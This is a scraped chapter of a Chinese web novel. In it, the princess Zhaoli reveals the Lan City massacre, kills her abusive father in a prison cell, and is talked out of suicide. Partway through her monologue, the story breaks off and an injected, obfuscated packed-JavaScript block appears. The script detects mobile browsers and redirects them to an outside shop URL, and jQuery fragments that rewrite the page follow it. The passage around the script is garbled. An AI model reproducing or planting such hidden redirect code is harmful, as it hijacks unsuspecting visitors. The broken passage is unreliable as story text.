默认冷灰
24号文字
方正启体

54. 不可如何?弑父吗?

作者:小阿荼本书字数:K更新时间:
    司倾酒的猜测是对的。


    雷霆之怒,无人能够承受。


    短短几日的时间,震惊朝野,线索证据被一一呈上,之后便是圣上大怒。


    何家男丁满门抄斩,妇孺流放,旁系充军。


    所有涉及当年之事者皆杀无赦。


    付授信因为是他国皇子,圣上虽不宜处置,可在以国力施压之下,付授信重伤不治,死在了驿馆之中。


    经此动荡,和谈暂时停滞不前。


    司倾酒伤势好了许多,便回了国师府。


    众人都在忙着京都乱局,司倾酒则是在安静地抽丝剥茧。


    毕竟将这一切浮出水面的幕后之人,还未揪出。


    若只是为澜城报仇也还好说,若还有别的目的,便是极其危险的人物。


    “真是没想到啊,二十五年前,澜城惨剧竟然是付授信主导的,他利用何家想要入主中宫的心思,谋害景后削弱明渊,但实际目的,却是为了攀附越硫国,想借用当时越硫国大皇子的力量夺得储君之位。”


    “可是却没料到,事成之后,越硫国内乱,大皇子身故,付授信也被拒之门外,怀恨在心,就嫁祸越硫国。”


    “加上有何家相助,自然而然就将锅甩到了越硫国头上,导致了经久不断的战事。”


    “所以说,一切的始作俑者,是他和何家啊,难怪圣上这么生气。”


    伍菁在一侧碎碎念,司倾酒则是用笔在自己归纳的事件发生图上渐渐划过,最终眼底一亮,在一个名字下划出了一道横线。


    但眼底却透着不敢确定。


    应当不是吧。


    也就是这时,房门被敲响,楼景川走了进来,手里还拿着一副画像。


    “这是什么?”


    “我奉命对何家抄家,这是在何家三爷的箱底翻出来的。”


    画像打开的瞬间,司倾酒眼底一沉。


    画中是一位女子,雍容清贵,说是绝色也不为过。


    “我查了一下,这画中女子,是二十五年前,澜城知府的发妻。”


    “她真的很像一个人。”


    司倾酒说着,看向了自己划下的那个名字。


    昭璃。


    两人对视一眼,立马朝外走去。


    “你已经猜出来是她了?”


    面对楼景川的疑惑,司倾酒点了点头,“人在大事面前,总是容易忽略细节,我受伤沉静的时候,正好可以将细节看清。一切的开端就是昭璃,当初我们忽略了一件事情,既然火麟在那披风上,只是碰撞一下就能让赵谢沾染起火,那服侍郡主穿戴的人,又为何是安全的呢?”


    “当初询问过,她们正巧都被安排做事,远离了火源。”


    “巧合多了便不是巧合,就像当初昭璃让我到她身侧看火舞流星,平日里她总会挽着我胳膊的,那日却没有触碰我。”


    司倾酒一声叹息,“她不想伤到无辜的人,但当时我并没有发现。”


    “谁也不会料到,她会不顾自己性命设局。”


    是啊,那样惨烈的后果,谁也不会想到,她会以自身设局。


    两人以最快的速度赶到驿馆,但进入房中时,房中已经没有昭璃的身影,只有床榻上躺着的陆淮衣。


    他的衣衫也都不在。


    众人诧异时,司倾酒将陆淮衣救醒。


    陆淮衣先是迷茫,而后赶紧起身。


    “快去大理寺,郡主换了我的衣衫,拿了我的令牌。”


    糟了,她是要报仇。


    何家此时,还在大理寺狱。


    司倾酒等人再次奔向大理寺狱,一路长驱直入,最终在通道里闻见了血腥气。


    最内里的刑房里,何三爷被绑在了刑架上,已然浑身血痕,奄奄一息。


    昭璃拿着匕首站在他的身侧,同样浑身血色,那双眼睛里再无此前半分纯真,取而代之的,是无尽的悲怆和恨意。


    就在她最后要下手时,司倾酒叫住了她。


    “昭璃不要,不值得啊,他自有律法处置,本就活不了了的,你不可...别让自己陷入...”


    司倾酒犹豫再三,可那个字眼还是说不出口。


    昭璃看着她,眼角泪珠混着血色滑落,“不可如何?弑父吗?”


    弑父二字,昭璃说得咬牙切齿,那是自心底里的厌恶。


    澜城被屠是在二十五年前,而昭璃还不到二十岁。


    唯一的可能就是,知府夫人当年没有死在澜城,而是被负责屠城的何三爷带出,在五年后,昭璃出生。


    “昭璃...”


    司倾酒还想劝说,昭璃却自己开始娓娓道来。


    “我娘亲本是澜城首富之女,与知府大人青梅竹马,知府大人温文尔雅,才华过人,为官更是体恤民情,是澜城公认的青天大老爷。城中安宁,夫妻和睦,直到二十五年前。”


    “先是边境动荡,有不少流民涌入澜城,全城上下都在互相救助,其中便有一位身怀六甲的女子,一身戎装,平匪之后还为澜城运来了救济粮,全城都很感激。因为同是女子,景后便入住了府中,由娘亲照料。”


    “后来流民越来越多,何家派兵支援,带兵之人,就是他。”


    昭璃说着,恨意越发浓郁,“这个好色之徒,一眼便对我娘亲一见钟情,我娘亲略有察觉,但特殊时期却也不敢声张,还是景后看出,威胁之后将其赶出了澜城。”


    “可不过数日,景后也因太过疲累而早产,就在生产之际,无数敌军攻进城中,知府和娘亲将景后和皇长子藏了起来,本是要应敌,却发现来人根本不是什么敌军,而是穿着敌军铠甲的,何家军。”


    “他们杀了知府,抓了娘亲,娘亲不肯吐露景后所在,他们便开始残杀城中百姓,最终景后妥协,自己现身,以自己和孩子的性命,换了满城百姓活命。”


    她永远忘不了母亲说起这些时的神情。


    景后一心为百姓,为天下,最后被自己人逼上了绝路。


    昭璃手里的匕首刺进何三爷的心口,缓缓搅动。


    “最可恨的是,哪怕景后母子已经丧命,甚至避免祸及百姓,未曾让府外任何人知晓,可他们依旧没有放过满城百姓,伙同那以救援之名赶来的赵谢和费用贼子,屠城之后,将澜城一把火烧尽。”


    “这是母亲每晚的噩梦,血流成河,尸横遍野,火光通天。母亲因为被这畜生看上,暗道带回了当时驻扎之地,囚禁在府中,整整十二年。”


    “第五年时,母亲怀上了我,本是不想留我的,可用尽了法子,我就是一直没能流掉,母亲便生下了我。那时的我见母亲日日以泪洗面,我却不知其中缘由,还跑去找这个畜生,让他多去看看娘亲。”


    “可他满院侍妾,不仅将我娘抛诸脑后,还在被召回京时,要对我和娘亲斩草除根。”


    “娘亲拼命将我送出府外,自己却葬身府中,离别之际,娘亲将一切真相都告诉了我,我拼命逃啊,差点被他的手下杀了,是路遇了微服游历的雪亲王,见


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360452|195423||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我可怜,带回越硫。”


    “我苦等十三年,就是为了今日,我要为娘亲报仇,为澜城所有百姓报仇,这血案,必须要由血偿。”


    昭璃说着拔出匕首,还剩一口气的何三爷却用尽力气开口。


    “我是你父亲,你杀我...是要遭天谴的。”


    昭璃闻言不由得大笑起来,“那便让天谴杀我,正好,你这肮脏血脉,我是分毫不想要。”


    昭璃恨意滔天,这一刻,司倾酒没有再阻拦。


    她本意是不想她背负弑父之名,可如今看来,只有她亲手解决,才算是对自己的救赎和解脱。


    匕首划过咽喉,何三爷彻底没了气息。


    昭璃一时狂笑不止,那狂笑里,满是惨烈和悲戚。


    血泪滚落,她朝着司倾酒等人颔首,“还请禀明圣上,我所行之事皆为复仇,与越硫无关,越硫是真心和谈,愿,还世间和平。”


    说完,她眼底化为一片灰白,手里的匕首朝着自己的脖颈抹去。


    “这一身血脉,我不要!”


    她是真的厌恶。


    厌恶何家,厌恶自己,更厌恶自己体内流淌的他的血脉。


    “不要昭璃。”


    司倾酒和楼景川快速上前,刚制住昭璃,可她匕首掉落,却又奋力撞向了一侧刑具的尖刺。


    就在这千钧一发之际,一只手直直挡在了她的咽喉之前。


    血色汹涌而出,但昭璃却毫发无伤。


    那尖刺之上,穿透的是陆淮衣的手掌,而以他血肉隔绝的,是她的安好。


    昭璃眼见这一幕,瞬间愣住。


    司倾酒也趁机将她按倒在地。


    “你的血脉才不肮脏,这是你母亲的血脉,是勇敢无畏又伟大的血脉,她用自己的生命还你活下来,你更该好好活着才是。”


    往往误入迷途的人,一句话便能让她走出困局。


    昭璃就是如此。


    司倾酒的话,让她眼底瞬间亮起了光。


    是啊,她不仅仅是何家的血脉。


    也是母亲生命的延续。


    最终,昭璃的所有崩溃,都化为一场痛苦,被司倾酒揽在怀里,尽情释放。


    夜色深沉,楼景川对一切收尾之后,上书圣上。


    昭璃则被先行带回了驿馆,司倾酒也同季恒霖交代事情始末。


    房间里,昭璃情绪已经平复,正为陆淮衣细细包扎。


    那掌心伤口深可见骨,皮肉翻飞,很是恐怖。


    “对不起,是我利用了你,还害你受伤。”


    昭璃动作轻柔,而后泪珠滑落。


    陆淮衣却没有任何责怪,而是温柔开解。


    “这有什么好自责的?我若是你,只会做的更绝。”


    “什么?”


    “为亲报仇天经地义,更何况不止亲人,那可是澜城全城的血案,若不是你此番行动,或许那满城怨魂永无昭雪之日。”


    陆淮衣说着,伸手为她拭去泪珠。


    “郡主,你从来都没有做错。”


    历经一切苦难之后的被认可,无疑是打破了她紧绷的心墙。


    屋内烛火都逐渐温柔,而屋外司倾酒和楼景川并肩而站。


    “圣上那边是什么意思?”


    “昭璃如今是越硫郡主,一切都由越硫国君决断。”


    “圣上是要放她一马,可我其实一直有个疑问,澜城一事真能做的如此天衣无缝,圣上就真的,丝毫没有瞧出破绽吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)